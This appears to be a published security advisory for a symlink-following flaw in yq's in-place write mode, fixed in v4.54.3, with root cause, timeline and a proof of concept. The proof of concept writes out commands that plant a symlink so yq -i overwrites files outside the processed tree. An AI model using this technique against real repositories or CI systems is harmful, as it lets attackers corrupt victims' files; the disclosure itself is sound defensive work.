← Reports xaferima.com Español →

--inplace follows symlinks when updating

Symlink Following CVSS 6.1 MODERATE CWE-59: Improper Link Resolution Before File Access mikefarah/yq ≤ v4.54.1

GHSA-c3cc-5w96-mw9r · CVE assignment pending

Summary

When writing with -i / --inplace, yq resolves and follows symlinks instead of replacing them. A symlink planted in the tree being processed (e.g. in a PR, a shared config repo, or a downloaded project) transfers the in-place write to any file reachable by the yq user — the victim file gets overwritten with the attacker-controlled processed document. This diverges from the ecosystem default (sed -i replaces the symlink), is not opt-out, and is not documented anywhere.

Impact

Root Cause

pkg/yqlib/file_utils.go:10-17 (tryRenameFile): the symlink branch is intentional — when writing in-place, yq resolves and follows the symlink, writing the processed content through it. There is no opt-out flag, no warning in the flag help, and no documentation of the risk.

// pkg/yqlib/file_utils.go:10-17 — tryRenameFile
// Symlink branch: yq follows the link instead of replacing it
// (sed -i replaces the symlink; yq writes through it)

Behavioral divergence: sed -i replaces the symlink with a new regular file (breaking the link, protecting the victim file); sponge and ex follow symlinks like yq — but those tools' behaviors are known and documented, whereas yq neither documents nor guards its choice. The advisory also lists CWE-22 and CWE-73 (external control of file name or path) as related weaknesses.

Proof of Concept

Tested against yq v4.54.1 (commit 504fc38780cc46be8444ea1b72fb55919fc0bfb0), binary built from the tagged source. 3 screenshots attached to the advisory.

# Clobber through a symlink (working dir /tmp/yq-vn044/)
$ ls -la
[lrwxrwxrwx  link.yml -> victim.txt
 -rw-rw-r--  victim.txt]

$ cat victim.txt
[app: production
 key: SECRET_VALUE]

$ ./yq -i '.key = "PWNED_BY_YQ"' link.yml
[exit 0]

$ ls -la
[lrwxrwxrwx  link.yml -> victim.txt]      ← SYMLINK STILL A SYMLINK (yq followed it)

$ cat victim.txt
[app: production
 key: PWNED_BY_YQ]                        ← REAL FILE OVERWRITTEN THROUGH THE SYMLINK

# Planted symlink pointing outside the processed tree
$ ln -s ../outside2/important.yml repo/ci-config.yml
$ ./yq -i '.db_password = "PWNED"' repo/ci-config.yml
[exit 0]
$ cat outside2/important.yml
[db_password: PWNED]                      ← OVERWRITTEN OUTSIDE THE REPO TREE

# Contrast with sed -i (ecosystem default: replace, don't follow)
$ sed -i 's/SECRET_VALUE/PWNED_BY_SED/' link2.yml
$ ls -la link2.yml victim2.txt
[-rw-rw-r--  link2.yml]                   ← SYMLINK DESTROYED, REPLACED BY A REGULAR FILE
$ cat victim2.txt
[app: production
 key: SECRET_VALUE]                       ← VICTIM INTACT

Disclosure Timeline

DateEvent
2026-10-23Reported as Issue B of the combined advisory GHSA-c3cc-5w96-mw9r (together with the --split-exp issue); accepted by the maintainer the same day
2026-11-05Issue A moved to the standalone GHSA-9fvq-9qj8-6qhx; this advisory scoped to --inplace only
2026-11-09Advisory published; fix released in yq v4.54.3
PendingCVE assignment (request due now that a fix is public)

Fix

yq v4.54.3 replaces symlinks instead of writing through them:

- Fixed `--inplace` to reject direct updates to read-only files and replace
  symbolic links instead of modifying their targets. (#2973)

The advisory also suggests a default-safe design (replace symlinks as sed -i does) or an explicit --preserve-symlinks opt-in flag with a warning in the help and docs. Workaround on vulnerable versions: do not run yq -i over trees containing untrusted symlinks (process a copy, or pre-resolve/remove symlinks).

Fixed in yq v4.54.3 (2026-11-09). Advisory published 2026-11-09; CVE assignment pending.

← Back to all reports